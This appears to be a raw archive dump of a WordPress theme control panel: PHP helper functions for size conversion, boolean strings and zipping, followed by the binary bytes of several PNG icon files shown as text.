alphabetical bit size to numericals * * @author Artbees * * @return number */ public static function let_to_num( $size ) { $l = substr( $size, -1 ); $ret = substr( $size, 0, -1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; case 'T': $ret *= 1024; case 'G': $ret *= 1024; case 'M': $ret *= 1024; case 'K': $ret *= 1024; } return $ret; } /** * Convert boolean value to a string value (e.g. from true to 'true') * * @author Artbees * * @return String */ public static function make_bool_string( $var ) { if ( false == $var || 'false' == $var || 0 == $var || '0' == $var || '' == $var || empty( $var ) ) { return 'false'; } return 'true'; } /** * It will create a compress file from list of files * * @author Artbees * * @param array $files for example : array('preload-images/5.jpg','kwicks/ringo.gif','rod.jpg','reddit.gif');. * @param string $destination name of the file or full address of destination for example : my-archive.zip. * @param boolean $overwrite if destionation exist , should it overwrite the compress file ?. * * @return boolean true if completed and false if something goes wrong */ // public static function zip( $files = array(), $destination = '', $overwrite = false ) { // $oceanwp_filesystem = new OceanWP_Filesystem( // array( // 'context' => $destination, // ) // ); // if ( $oceanwp_filesystem->get_error_code() ) { // return false; // } // // if the zip file already exists and overwrite is false, return false. // if ( $oceanwp_filesystem->exists( $destination ) && ! $overwrite ) { // return false; // } // $valid_files = array(); // // if files were passed in... // if ( is_array( $files ) ) { // // cycle through each file. // foreach ( $files as $file_name => $file_path ) { // // make sure the file exists. // if ( $oceanwp_filesystem->exists( $file_path ) ) { // $valid_files[ $file_name ] = $file_path; // } // } // } // // if we have good files... // if ( count( $valid_files ) ) { // $temp_file = tempnam( sys_get_temp_dir(), 'zip' ); // if ( class_exists( 'ZipArchive', false ) ) { // $zip = new ZipArchive(); // // Try open the temp file. // $zip->open( $temp_file ); // // add the files to archive. // foreach ( $valid_files as $file_name => $file_path ) { // $zip->addFile( $file_path, $file_name ); // } // // close the zip -- done! // $zip->close(); // } else { // mbstring_binary_safe_encoding(); // require_once ABSPATH . 'wp-admin/includes/class-pclzip.php'; // $zip = new PclZip( $temp_file ); // foreach ( $valid_files as $file_name => $file_path ) { // $zip->create( $file_path, $file_name ); // } // reset_mbstring_encoding(); // } // // add the files to archive. // foreach ( $valid_files as $file_name => $file_path ) { // $zip->addFile( $file_path, $file_name ); // } // // debug // // echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status; // // close the zip -- done! // $zip->close(); // // Copy the temp file to destination. // $oceanwp_filesystem->copy( $temp_file, $destination, true, 0644 ); // // Try delete the temp file. // $oceanwp_filesystem->delete( $temp_file ); // // check to make sure the file exists. // return $oceanwp_filesystem->exists( $destination ); // } // return false; // } // public static function search_multdim( $array, $key, $value ) { // return (array_search( $value, array_column( $array, $key ) )); // } /** * It will check wether wordpress-importer plugin is exist in plugin directory or not. * if exist it will return the WordPress importer file * if not it will use jupiter version * * @author Artbees * @copyright Artbees LTD (c) * @link https://artbees.net * @since Version 5.5 */ // public static function include_wordpress_importer() { // if ( ! class_exists( 'WP_Importer' ) ) { // defined( 'WP_LOAD_IMPORTERS' ) || define( 'WP_LOAD_IMPORTERS', true ); // include ABSPATH . '/wp-admin/includes/class-wp-importer.php'; // } // if ( ! class_exists( 'OceanWP_WXR_Importer' ) ) { // oceanwp_core()->load_files( [ // 'control-panel/includes/importer/class-logger', // 'control-panel/includes/importer/class-logger-serversentevents', // 'control-panel/includes/importer/class-wxr-import-info', // 'control-panel/includes/importer/class-wxr-importer', // ] ); // } // if ( ! class_exists( 'OceanWP_Importer' ) ) { // oceanwp_core()->load_files( [ // 'control-panel/includes/importer/class-jupiterx-importer', // ] ); // } // return true; // } /** * It will return permission of directory * * @author Artbees * * @param string $path Full path of directory. * * @return int */ // public static function get_perm( $path ) { // return substr( sprintf( '%o', fileperms( ABSPATH . $path ) ), -4 ); // } /** * Convert Bytes to MegaBytes. * * @access public * @static * @since 1.10.0 * * @param [type] $bytes * @return void */ public static function bytes_to_mb( $bytes ) { return round( $bytes / ( 1024 * 1024 ), 2 ); } } } themepanel/assets/images/logo.png000064400000002237151551031110013100 0ustar00‰PNG  IHDR©- oÛ6PLTEÿÿÿõýÿÿÿÿÿÿÿúýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿËìü¯ñ¯ñ[Þ tRNSï)’ ×Qý?fÇ¥¶ýÁ„¡ÜDIDATXõXW–à Ä4‹fgïÙE @à’¯ðö­ƒ1hP ÄV[ð)ŠÜe·_5 ç.—à¬Ú¬Ô|¶(ÿÏ´f~…Uì{=E 6 ¹Ÿ¡Y†D(¹ u¢ ÕGú‘N³F¯@r£T¹®âhˆ`BZ 8­u° ;ÇO¢œÐ{i¢36[?2[ðjú"# ó”7·«_™ß²Žà:nÛpì¥4loiÜù´[÷ ¤‰©@fcLÇ@9Òíc†(›yE39šFëmyqÅ1¿k=>Õ³ÊȬe’ýžnÙbGšVXÕÙ{Ôˆ¾šH«ŒØMâv°êùÝá»1…Èãú¢r]}ݬ GD47]² ø ¬ê1Cé~FbëÇ&Ì 8×Ý ñÔ¦úº´—³¨7Ë>‡›ê+Òܤ 1éïªôTh @Z e€¼ ±Çü>ÅÙD$t=œ*º©Î€¾üJ94õ>ëÔÏüÛÍ_·â‡;Ùâ÷(eì«Øè;>R_¥E;òJ˜5cûŽührf¤iø‡PwìéHÑÙF»ŸF`¸8ú_&öá‚40zòds2à^ìšFt§› ©d´$ÒRI®‘å}Ω¾‘ÇíN¶ÙÒ‘خì•O{Gw4©Y˜¶Kèû S zå&÷· )¹H:t=GIŸ†ÛÒt‹ÔÖGXC|MD>S,ÏH-)ÉÐ>$é2öuq"²bMüñ9íÍúöm±Ä}k©t.—qÐxÇ®ÕÈÑu.Ëú¦ïÌMNÅj)qp=¼F”]Ýt‹ûÒ,¿¯Â5„;RŠñal(}¶/dТïæ<øÈRh;Ù…)Yÿ«<4røŠ´ÆVìÆ¨ß äËDŽÔ½0¿¿è“Œ¦vêšÓ±ŒØ#X—ËFù iuÌ‘y¶‚ù Ò§l ÛƒŸ®ŠírôN~ê¦MZFàÙZ’EqI,üž‘ÞU(ŽHJî=/uÓ OxÞyÕ)®à<›õT`ÛzAz_õÅkéû@ö–óÑWëã  ùå´•Ÿ?~Šn)Œ v)2#A(õ)¾Dõ¶¥ûN}EŠ…¤Y¢‚î雿¿™Pc Ò€æßún?ªG=!µ­¨º¢^Oé°3û³NëmÁ¼s½í‘xDÂf1-UÄeÇ:8Ó¥¿õÓQ=Ð{”°IEND®B`‚themepanel/assets/images/plugin-icons/weglot.svg000064400000006711151551031110016064 0ustar00 themepanel/assets/images/icons/star.png000064400000004775151551031110014235 0ustar00‰PNG  IHDR #ꦷgAMA± üa cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDùC» pHYs``ðkBÏtIMEæ(Ã6òìIDAThÞÝYkTg~¿I¸)‚™á’L„P¹eˆ¨ÇcÓ*ž‚õx#àu× ®KÑeE¼ V-j½ß¯G»,²Veµ–jAívº€­à¶B€ÄU0Õ­b)ɼûF]еZÀuŸóÍ7ïû<ϼóÝàÁã[e?.?+Ë• <øªxt;d·TqœNÇ„°¹)<Ï0,Ëqˆ½N°ktûöín>Tw'$Îü¼¼l™“α¿C$¢ÓPLJùÚtòb“CãØæÂ¥K@7Çëj^]^ž¿U. »D*H*)ŠŽŽWœGݤ(©T*•H$‰ÄÕ`¼g´ÝðJŠÂI°€ˆŽfÎ+’CW„†¾öð±ü(><=Ý>Ð^g7qÂ„ØØÑ£ÚoÒ¤øø±cÄÅùb§–Ü+¨‚Å‹_[<©è’T •h0äÑNÃkž¼ùöp;ïvÞµ°¡¡G¼“½Ógûö‘{dD ÂØñÚ`;ÀËøŠ¥KÅjq°ø-ĉãâÆŒù™h Þºµ^Û˜|úŠø1X`aS?¦,ZÔU<õ è¿Å‹ÿ‡J›kÃÔjÞ‡ÏA7Ž#®p66v\ÐXçaßS”LÖ«—ôœ€p¢¡ÁºÒºÒºrãF‹¥ÚRf±X赊líº={Hù ¸¤$&CáË}}ú4UCÅ‘û¥¥Î:{¯®•s*çTÎyô¨ ïÞÇÎNv¾.ͦ÷ñimÓh(oªn€4HÇ Ç“ð;†º-º*rîÝ»>öÑAþ¹ÊàKL¢(ŽC½òü”)'Æ y6Ò@HÃÎj‹Ú¢¶X,B;"%³ËY»–1Ð*™>Î+¤dgó€Ùõ¦G{NåyºTq’“šÍ¤?ôÃ‚Š CFÁ®Š X d_E›ÿ‘̽q£5jEÅÝAž«E_ÔÔ——´´&W™ËaQɇR(ÔëñS̆d‘¨=Q‡‡1öÉ<ÏÆ) ^#|Ž*÷)–Q˲¬\ PÈåžž*•R)—øùùú*•..ÎÎ={v <†Ä˜;w¬ ÖkÇù%ø%ø%ܹӾŸD¢T††J¥ö‡ ‚Z‰˜7ü†ì÷÷'¿‡sü&òˆ;ŒÑhàK8Ih4à çàQ™'ÀüÌjÅ7±Š,»pÐgØ4íº#GÈ8L²'L |ã €¹sß{oÚ4¥’e½½hZ&swïàJ@’¦&DUUpîÁ½òr @€TUµvªª¬ª‚H€„òrUª@UP[û²¥û<´.­½½ÉA¬ÃL†Š„D¼·~=,'°<<ÁdœôÑG`0ˆDÌÅ.?+KX›ÏŸŸšš‘h2™L&¢éˆéˆéÈ… f_³¯ÙW¯72FÆÈ0LW è,ÐeìÜÁŒ AmP<äô99ƒPüßc Á 1ÇØ ­õÀáää””ôtÄšššššDS”)ʵté«ö\á!Šê0åªU…·Uz‡Â B˜%ì,mþ¶mB€Ù³“’RS««««««…ÊÈÌ|ÕBÛó¦ Šd7mz,<•-àníÝÛzŸzÑiŸæ¡bwtóf!`BBbbJÊÿš„0‡Ù=œÝÖ­…ÿK‘ÅõÞµë%…wàì!Å7Úê „“'O›–”„h4UUˆæsæsæs~ؽÂ)Š¹ÆÆsÃöïx1¶ŸvúöíïNOÉìPè9×ÌL!áÔ©3fÌûÔ‘fJ3¥í܉ˆˆØÚ„ÑVöŸ{øðcám¼ºÐívF´,KJJK¯^}jÖˆ2E™¢vìèl#diÊ3áá^^…·ñxÙx/ým`\HBš›ßi=Ñqw—JÝÜžê°öÂÞÙ³oÊnÊnÊvïî,î®6¿[\\Wp3®¯¯xt»T:Bú©}Tޤ tƒÄz}gÐ DÜDêHåõë$ ƒwpp·@˰=4Ô߬®ð¹üìÇKx /••u®°üadYÐðæ '/þ©½°Ò?y/Q³,ÿ€«]\ÔêÖ5ÿ3a3˜ËË;[?™Vð./‡ãd,‰H܇ɓBOËå]n€øõ#E?)9µÚÏO¥ú™fÂL˜ù¤hkÔþ[¯§7°Ù\ïÏ?§“Ù%Ú;……Bû/&"%ükׄK‘3“/~pò³0|ž$v}ϪA™Üþ¶ÍÆd±ùÚ¼S§ÈyL".^„D¼ Lp0d¢Œ‚‚„v¡ŸðÿàYqq6™cûêIeµçÕe€àâ’ê²¾çY›­W/ww©ôÉíÚÚº:‹`Õ§k.mk°ÙŽ?ükåC^,ƒ³o¿ ËQÕkÖØÆ8Rû5jDË)éç‡I„€j*qI8Ê›!¾¸˜Ù¡Ø§=–›+ëç]Ïõò|wÔD®¯«Ã|9wïÂ"q/?þbxÞPIu§JJÞÝ4jßÄOxþòå+WŠ‹gÍJL\°Ñ«Ï`Ý4žg>`O†ù47ÓEŠdí·»w{DzDj×=÷¨HV$庻 úÁÙ540CØXnƒÍ&â©rЮóõerYƒ6·¨ˆ9ÉmΕ+],Ÿ¢<®«<ÂN76ëtˆò±~³úî·Ù'€W€ßl‹ÇÚçà›­œæ7&Úl+ìî< ¾`¬¿¿>¸ hð+ìv¼ŠpJT)*@çõ©ÇüØ úR<¶=Ÿ‰u—Ç¢°=¦-m#Ó€€cÀC ¿ŽÇÚOåA[²ô ØÈñÞöcƒt£…=i VØ F–‚lü ß~EIfÐÅ@Ýô©åû~ÿDë"Ò¬^üå& ¡=îK·’–Au%°˜ ¬c¶ó9Ͻ+)вZÁæ5À³ ‡@çÆcÑÕV0ò Ïç3Ì]yãÒ«/+ÿÄ5—Ÿ‘¨ê¡@ > <€rÔJøŸEµ>‹n™ ìy\m{ÄÊecµöyMTÞnÉªŠ¬AåÇ ·‹àW¥øÊû§–ûo^Ù@Ó’oT\rñ·GSJžÃûš°&ÈdU ëàQ`½yKlm6÷‚iÇžÉ[ÓB—ÂV0Òò,èϾ¨0xÚ²üW~é¦ë¸õ3”N°v¨ê-Á`°?7¿f?pèý8Ö;âKJOÒ§€Vàæx,úØyêæ‰ôv»£4l+Ø< á/¨Dù8FÊQ}ñ’÷\úaÛ­,¨› ðC`] ÈÜVn~#ÊV0ž.Y¬*="ö/ëñX´ËƒÖËh¹ÛÜuCï^Fëœòs>…õöÀàcÀ\Eúý]ùä‹®zìûÿKMÕû~Ü’¡lA®%eñ_LÕ/Àช,Iô¶Õ-ymçt'Ûz{`>ÈÀÝñXô¤@‹å÷]õЦϧ•}XëZÙlü¼Êv<= ,Ã9&[â;¬Dµ©¾yµç:¿wCxÔ Ffƒ~ã 7^ËÂyÕ¼ðǃ|ãþ-¿9x¸eŒE{€u«âšlTÇjïî–ªëÝÇ"òš€¬ [UÍÓ@V?ˆ÷FoM{ïdÿm«—rüµ7Yï/xêù=Sóœ« €ˆ<¦°¤Eœ;é÷€°_ãu9)&ë£4ƒ`«ŒLYõÙë3±´ŸÏ‡å÷oî•GÏ`o;ÀfA¯²ä-à†bÉÌ([Z—€ì‹Ç¢o€4#%+–.ĶmÊ&–tرyu<=;ö¹öÄv…ÓŸŠÇÚÝ 4S@¦%³ÓïV°™TÔÓá4é5œ9ŠK.fËS/S¿üî²ÀuërñÎk+g"‹‚ìDie7ð!°¹Ûרr½ü@I*Ä{5Õ6¯®æˆ»t¡ª=Ù–K¨{2GøxoR=òÏlBሠe‚NÏv˜\·YÈ *Gðéègúô©å¨*½{à‹iæ{š¯—Ò™ïxÔ&‰m&'pšŠüh‡µg*>Dë÷PÐRÄÉV”M,-àŸÿ:‹À?<¸ß½ÊÙêÎÕ‹žE1 %êdJ³Ð,'ÛÙHïÿŒà÷ùP$ËD ÷  *eN½*’RT=ú¤ÍCV¶N§S*RåS§Þ< @Å”I¤Î÷xÀrå-Д|Ígxèé«lg…O¤Ò28ôjÏ æTϨ÷Í\V4ßèz.:ã}QÄ !UäD±ø{®p2'?UŸªúÃᮿñÏå# çÔÛ„ò™ÑBொ ôevbTÂ0Zðð"Po#“AÚãÉdâÙûi×R>ùB€Û]4^ç+ƒ6D+ÊR©yÒlö£4;y}»›O6ïK®íeºSu² ðƒ¬ŒÇÚO;~ùäKø|†»n[Á².˜éAÇpžƒò‚™P½àëªzt¯ ‚Lžöø0ZWyÔ 5‰g#Ï3.C™/ž _^in^Ù0Ì ].²\qi6Y+@ž½AÙ&¶ý0ME/OônÏIŸ¯Ü\¦|³@ʪx,ºO•Ÿ>ðÓ(ݽ¯£ª%ÀOúúúÜ.ªà+¥ŒLý­"Û͝–›óT6o¹£®pIU“Q•(0˜ë0‘Ý•ï¿$ôëïdꔋ‘ïÚ¶}WUUU¾ÇFð0d!к°Uda¢·½h r†lÛ¸'oüˆ*g@#Ç_ë?±z݃ékæ×Œ1ßìëë+ØE¤Vö„`¹Ô“©Ä^X›JïÕíåŒBcÑÈ­‚¬¡Å—”°¸ïµ7ÜpÛwybû.lÛþðH___®+ %•ËSg–?#Ì@YE÷kD¸ó&ëíýeo¾Ð=ga>,ó†WšvDd3¡²Û ¥P[Tiað¹)4kk>½„Æÿ™×5±´d=ð| !ÌIÏêRà«@ð<"Ÿ·ENÛ^<<Û$w>Yú ‚>|'«ù3_"qßÌ®}ùêå )œÆh>ÙL¨\†mL:Yþp{<6ÿŒÜuj"®¾è‰Ô_VÍäIìÛs {Ëk§þ~J‹ÿ ËA¦¨“ükU´Ý`J½_àΚäÎ#Is]çý+€ß8ÃÓÓ S@[& ¼ÝVyì/^YËÌ0×+Rj/èÛ’5s¹Á¶oÆ שÈlE„N>ù#7yH¨ÈT;—§AöªÏ vòJ”‡€Ðjk`ÿ=Ö™ùÀjÐC¿W¡X"*kA7-¾d²mæ_ÿ”U¡Œázº©±~=œRºØ<´; làFÄW†³ºƒê“3‰£N~ÙŒ”4"²Õ¥ ûA×v^Ðt‹ª\/èé´²5‡;Nv×ÖÔ ©êÎŽ6©`.Œ]aÿ¥MF’ÒÜ „ÞRØ)°[ápÒ‰g)*jÔI´7S@‚n¶ÆcÑ@W(($ä+8<ÌÞWïø6°Q¡¥;1ÞY‡öÚbÒ+MkÒçÛÐ5'œu’‹þO¼ñ@w(¼Q¡U„{ï•î©[dÔ–´õ¾eVgÇ£^¼Šî–ÆGg_müζ=§ôˆ~=¡0 Oà$«fuŽìóŽWàÒ#û¸´³ÃÙ¶ÊFUZzjÃ#úU; >ŽH%àþŒ!ý§1lÎ@‡Îªs¦=”vny Î…Ç£ÙÍÓ[¨Wd’mpîð,íhϨ!^w(¼‘ôöi­>´€îЇý /eŠ.¨éÜ3‚6󦕯åu÷s§gÓ¿^®!«»Ež›I&ÛÔç¤Um u‡Âe ·#\r]MçoÚ‚ E!>÷¼úwÕ^iDíÏ!´ªJ%€ ¯ëguv¼”ö]á–FCwmØ LíÏØÆÿ¼Küp11žÊžÏÖ7Z/+:ƒ8~^wó1Ó¾ãÂÃ<êóé“•öÿn¨ÊjIEND®B`‚themepanel/assets/images/icons/admin-settings.png000064400000171141151551031110016202 0ustar00‰PNG  IHDRôxÔúgAMA± üa cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDùC» pHYs``ðkBÏ€IDATxÚìy|TÕÙÇϽ3“°…„-‹ÀL€™@‚™ hÄqWܫֵ»­µµ{­Ýkíò¶®ÕÖº€û¾‚¨$A$ÀL ™€’°#KfæÞçý#‰"f™s—¹“ä|?Ÿ÷óyËÜsÎsŽ“ù=÷œç< ‘H$‰D"‘H$‰D"‘H$‰D"‘H$‰D"‘H$‰¤OBNÐWa@‰Ê&(¤ç²Žñ Œ`ƒ@AÀ 8à6€öwöAÌ;™è ÛÀØÐVocàc&½ŽN.ØH‹iNÏW"‘HŒÐXZš¥pßÐ…¼b ®ã~o¤ê1t§m¨H ¼ó2ؽó8…¨ÄfL#¢© ±{lb`¬cÂóZ"þþäúêmN¯‹D"‘ôÄÚÀìbúóh1ꊗѦ]⋾·Çi["Òèï¼ dì¼ L_!Ëi{…ëx%PÕ× W½»Îi›$‰¤“zY‰Bü#{|¹1ýté¤étCS08è༠¢Ó¶$I̯ÓëûÜû^/^¹rŸÓI$’IÒâ߉tA:ÝÐÞ Ð NÛaö1ãEáÇ•½/Oذô Ó6I$’°øw¨Ð4åô)k—íuzétA}qp¼’ õ ¸¶Åö€ù9ôàÄHåbØiƒ$Iÿİøw"€”"€.ˆ‚W1èA§í°€î×ãm÷Ë B‰Db%k³‹UèoÿÏX¦%”yÒ °ÅiÒfå´ 6áøwŠË³1ý»qZpšÓI$’¾O‡øóÿ<³U—þòšÉ³‡9=¯þŽtº€ˆú÷Û1aWë:ÕFý¡çë§Îšå´I‰¤orˆø²°[é¤étδÌiR1áLR”ª†@èåÆ@p¶ÓI$’¾ƒMâßÉlÕ¥¿ö—uzžýÐ Ð;æ8mGêág¿7©nyƒÓ–H$’ôe]Ѭé:+oÚ$þ‡ònŒ=󑥟8=çþ†ÜèVÔ«ìtÚŽÔCç°¢„£þÐ_6L›s„ÓÖH$’ô#…âs2¨MîØ€Ü膩³ƒPôW 7Ü £"¡».ìæƒ ïQlõ‰6l/²T—{TÎÒtÂx‰1 Á˜Â §æOÀv~æ WþKæë–H$PN%ÐbcR9.ßiãŒ3äN€uH ¢Ee!f~&œb~-c8ÎÍ«ª: ÚvÍäÙãT—V P)1JAYi›<Œ &¾®0\U—Òq%IZ±¶(4Ea,AŠÅ¿¿³OÝ?Of:µé$UN€º/ã+²òE§Î°ÂgødP†Ýk@@à?·ñžŸ"‘˜ÝãI$’ô¢qJY‘®è‹A”m´×0Ó3µUx#cŸmä…Jòy¤$àl½Ì€™k)/£mÄy¾èËmVÙö—õPÛ\0]¹0s\‘®®^á­[¶s‰D’>XôæÿaŒù” G±Jo0cDŒ×3†ó9Ò 0‡tˆ…ÊÀxŤðªëϹväç__Pž™Úv  ˆè|Ëð_¸ò.›ú—H$i‚•âˆTí€è´Y¥¬+¯C:Ž"Aê§–§(úK 2‘JÌ/rìˆ ¬Ü 8œõÅå#´xìZ€¿ÆD타G å+2e§DÒ?Y[š¢2/fÐXݬˆ1ŸÜ)þXs´*3HÀõSCÇ+ ^2ó†MŒÚ°û»ÏÓP¢þYg)ßdà$Xÿß¼A‡²`rxY­óH$©eÍ´Ù“]º¶Äñï$Ýâ«Ò0HCQ°œ˜^4¹Íþ\Œw/HUP]G¥®Û8ËÊ~ ü X¹Â©x6óH$ö’ ñïD:Î!4úgÍa¢—ÍÀ†ÀÀÞXW4kºÆÊO,°°[p»/\y[ªæ!‘H¬Ç ñ'pM\ÓNžºæýíÉ<ŸîñUýé˜$˜=—Y„Á&ºyfwfì¢cª«ã©´½1œ­3ÝB©e2îÛ=(öµTÏE"‘˜§]üõÅ Œ3Ú‡¨øw"€Ô# hô—¨ƒŸ7å0žÞ=(vqª…“%Z¼˜~ÍÀ‘VôI̯ ?o\uõþTÎE"‘ÇIñïÄ¢ëÖ¯¸>ñœ'€Þ‘€E4úC'éÀófR÷ã©]ƒb—8ñö¼¶°t”âòü„k`A¿Ãmú™¾è{{R=‰D"ƺ)3 uÕµÄIñïD:©C:bÑíÇœ cNçÿZruQ­'b§O®¯ÞæÄ\$I邏øwÒîà•¾_Õ×Õ-¤°®òmôóÀ0|'• ç8è~ôƒÒR·s𮮬à˜>à{LwF(UÜž¥uSŽ3I,‘HlÂ"ñ¯µRü`R¸j1Ï#°™Â?ó±ëéï<ÛS¥÷Uä€ 4ÊNøY™†;a,lÎö\>wéÒ„SóˆN ^…þi:6€±Òåö”O¨]ºË©¹H$’ÏÓ8u–å-³â¯Åã'ÛµËgÍM+~ mGœ/w¾ˆtl '€ÀO4ʸÔQ' è˜<ÖÝO›¿)ÀUûÕý'Ë*^’Ì¥¥îmž™¬ómSTZ1ieEKªíhœ:ËǤ,áö䆰[ü;±"ûªtºF:6bÉN°¨y”ç2'€õ噉!±»A¸ÒL?Äx½ »Ï”Õ%‘¨?ø ~tèýzbiñØ·S+c…øƒ±ROÄNJ•Í}%{_C:6Óàôq'¢þÐ þÁ—Ñ>xdR¸òKèNÎE"IKÊË]¹­mÿÑÝ?ʼns¼«?h²Ó–¾(þô‡ ëtCÚŒ/\ù*1Ÿ‡ö zFYÛûß’òrÃÂkÞHå= ýSAŽÀeÐmNÎC"Iíâû_Ïâ”Ïì~”m|)³fÛu.$NsâfOa]åÛºŽ30|ŒÈ„óGð<æTuº!€àT½bÚ \”N€/²ü9(<ŒÝFû`à'Ñ©Á‹œœ‡Db7¼`š·-öÉ~×gG³Êí°%êzM‹?cʉ'DÞÿØ–K‚þpÓ*@ŠèpÎØøùS»ð°ãNÀꪥ¤ó‰` ^"(¸¿qZpš“óHì‚,P£áæG¸L¬¡2ßj[ê&Ï: D¯›$æ:)þ®^þ:+ú9æv"ééH ¥x#U/ƒù¢ŽÀc.ÎmÝÏÿ·ó®©úPÕÇc“‘ö Êž©›2s¤“óHì n¾]àÍÿ8×J;ÖM ¸]ÊŽ2ÚG:‰'…«—¿¢sabWµÃ xÄé*'‘@ŠñE–?&³NÀ•ãNÀÄ5ï×3´S 0tÈD]ªëa;Ï=%’TÓèŸO„[ 5&jµÊŽuSCº‚·ú›øwâ W¼Ð90ç\˜·­íÑêHÀ¼‘ŠgI§óÌ0pu:8¾È{ ÊÉvìâôh t““sH¬D'í§€ÉáeµD4ßxÚNþÝÚÀìb'ç ‘XÈcÍxc›¾÷i³ƒ¯›*P4í yFû æµ ÍuòÄÕË·Ú¶J&Ù\Z:ØCmÏ1¨ÄtgD—D#Ín'@:2iuÕÓ:øsN}9êÝã´à]]Q©ƒ.…¡ûý”¡@x}A¹™\ IZ@¬hÂm€‘r‰Ù$Y릆 tÂ&L0n?¯ëî¹S×¼³%ëe„Í¥¥ƒ÷t¿Ð\ »M‹ëÖ©D:S®zJ]J ãI~×FÁ9}–^®|Á?0ؼHÒö;'í—H¬€}¥ÈóÄÀt‘wuE¥™qý³ó¥ø›$M®[§ 餅áŠ'u"S;]õ‡îuz' 0\u÷iËDߌ•…œ´_"1Ëõd²ÇaŸŠ¤âY3C6úgç3ô·ÌŠBSO°âÿéB¤ÇuëT €4¡0\ñ$3.3½Ç®}žo\e ©Â:ß=ÐïæJú6¾šw[ô“ÞžKGñŸ²vÙf'Ö,:Äÿy[ÅÿÓÁÅÁ @á‹T>E¿Â¬Ðè/û»“Ç6,=¨%Ô ]$LqÀýM§l—H¬À®¼ À/p7ìdàlkÄ_3µí ¾‰ÿ‰)”pq¿ ï_§! þÐ1Stà{½áª©û ÛiœZv†®ð ýž1ö'4=0uíòœ²]"±‚è”àÑPé› Ì!`M`z å._Í»¦îü&þ4ÑD7õZB™+Å¿{xpR¸òÚþXÀL:iJƒ?x€ÿ€ÈŒ÷ùo¸ò›N:Ñ@è_ Üh é"_¸RÖ HºÀªhÿðæOÀ^™ >Z$ð¿'…«®ëoN€<HS|‘ªGÈlLðu§o ÎŒÝL #‰:.l˜:;è”ÝIº-:&O'^lrÛ¿¡oˆ¿ç9“oþ{XWNµâºu:ä\±š~5™þ†·®j!+ôe0 ß+þ º¡Ñ¼Ó)'`\uõ~¨úæ@P´_;a³D’®D‹ŽÉcv›Ýöo`§õ¶S08¨]üq’Ñ>ØÇ:ÎòÕ-«j¿n-€Ãé7靸VWØÇÄó}««–võy} ìü¨©˜Æ“"•×÷õß%éô!êý³®&Rî‡ ïÓI' Z4ëbfå1a›uœç­«|Æ ›%“%åå®Ümmÿè†nщño¤ò·vÛb‘øƒ_)ŒTÞm·½Fi µí¡g™pŠÑ>ØKày“ÂU=UŠN ^¢ÿ™¼iu7\õ'ƒ¬ÍÒ/¶1 …‘å‚é:˜ð:™ðí†@ðNØï]½üqb~Í€ÍßsÂ^ÉÀdIy¹+·5ö¿Ä&ü&:5hëM•†iÇæ2»äø€Bø[Ô_vŽöž§w^FÛ,2)þû˜ø¬ÞÄ舯Ì¥`ÝÙWÍÐg ¨ø"ÿ6ëô݆@ÙŸœ°ŸTÜ"l;¡¬1œí„½’/X æm‹=BRÂÎ î°+. aÚ±¹ÐÕ%¼–Ì pƒxaƒÖÙvØkxžÞyäÙù$Í7Úûú™Ýmûw…/RùÃ’ì«w÷U' O=ÐñE*þ Âõ0åðÍN8“VU­óBÑv:ä.€Ä^–”—»¢áæG¸<ùV”¿.¼ÑòúV‹' xˆ”EéâX*þáåo‰¶õE*Yà\çôuk£H â[]ù¾SçO|sC hûæá¨ºösñ?8:kmQÈ`u‰¤g>ÝöOòÍÿP4‹Ez½æÒÕ×`q¿|ê‚gÙѲ„ý~yv=aFüÁØoTü;ñE*ÍÝ´èúh xw_s¤Їñ†+îØäNý Áº#•vO\ó~= 6ST¿’J;%ÑmÿÃQI=h•-ëý3ÇhäZÌÀT[ç xôD} t¦ãtGØï÷d ëI&Ÿ±ŸH1%þxëªD'@:}_¸ê~f| fv·4øË~•J»(· ßÇ%º¢Á;/#•vJú7ƶý?Ή•Vز®hÖèTˆ'íN?Q_Tfü ÜVŠ¿7¼l‰Uvy몚.ÆÖîô™ãéô #•wø˜Ù þqÔúCªlžY¶‘™ŸiÃÀHrïLË(fIßÃ̶ÿ§0*|‘÷"fmYW4k´ÆJÊÄÿ3(ƒX²qjÙ©-ì÷{2(ë‰tÿN¼«—?npCc ôϾàH Ÿà WÝg6&€ ß‹úC¿O™Ñ¬Þ%܆pmÊì“ô[ÌnûwpŒo˜µeÍäÙãt–ð›˜Q›ñ¶”¡?Ñèμ— Þyþ4†cØÒçÛ!þxW/Äæ®[7:™}5Y¤Ðð†+î%à›0ç|¿!º-öúê–Uðž˜}tòº©¡‚TØ'éŸX±íO@œ˜.ñÕU®0c˺¢Y£U—þ:M6Þ o$Fî‚0Hžkô—ÙRr7ì÷{±k!@Æwû‰él+Îü{îzˆY¿¦r®ÐMþПí¶Õ ÒègxÕÿ †ÉÛøyƒ?øóTØËÌ¢»Š®bA*l“ô?¬xó' y#Ïš±¥nÊqcu]y &Þü øHÕéxo¤*º+3vAìXí°Î3ñs EÁr3ó:œ,  €ñ«‡Œý }þ¤HÅb+më 믥¯ €~ˆ7Ry}¦鶨?ô]»maÏliÃ:γÛ.Iÿƒ,P#Í™}󇎋̦¦^ïŸ9Æ­$3ÁðÕV>Š'ô¹ë*7À1ÕÕñ]™ñKÁxÚðC Ó³V]¹µêªŸUÑþ¢X“sßq*ûjoH ŸR¸ºâ¯¾s;¿‹•YžääP‘HŒE‚uSŽk§]’þEº‰¿F.Sâ`C<¡ÏºvùG‡þã1ÕÕñ݃bl|w‚¥2þffŽ€uÑþ è,;Ïü{÷ºò˜ ²}7Õ×­“A:ý_¸ò.7mϳ~«Ýv*„GD›¸Ôø¹vÛ%餓ø7N/ËIú†¹hÞÈŠzâáâßÉ1ÕÕñÝ™ñfœN®›<ë(£íÃ~¿ÇCÚœÊmÿîð…«î7½@¸Å©ìÝ!€~Ž/\y'1ÞÊ'Д–.›™ ÃUÄX/d“<ôJ:‰ÿº¢Y£Yã· ˜˜ÑF]ÕO(\õž:¦º:ã=ã£#©.µÔH»vñÏZñ+»Œíâ_ù¦ñµ²«²¯¦ô¦U/H`àTý™·iË€{è'™ÙvÚG3Hh€‰o Ùi—¤o“nâoþž?odÅ5wòÊ÷’r–‘HŒc#.$æ ÍõLÑ6Ÿ‰¿©€¿ÌœVâ߉7\q/3¾ 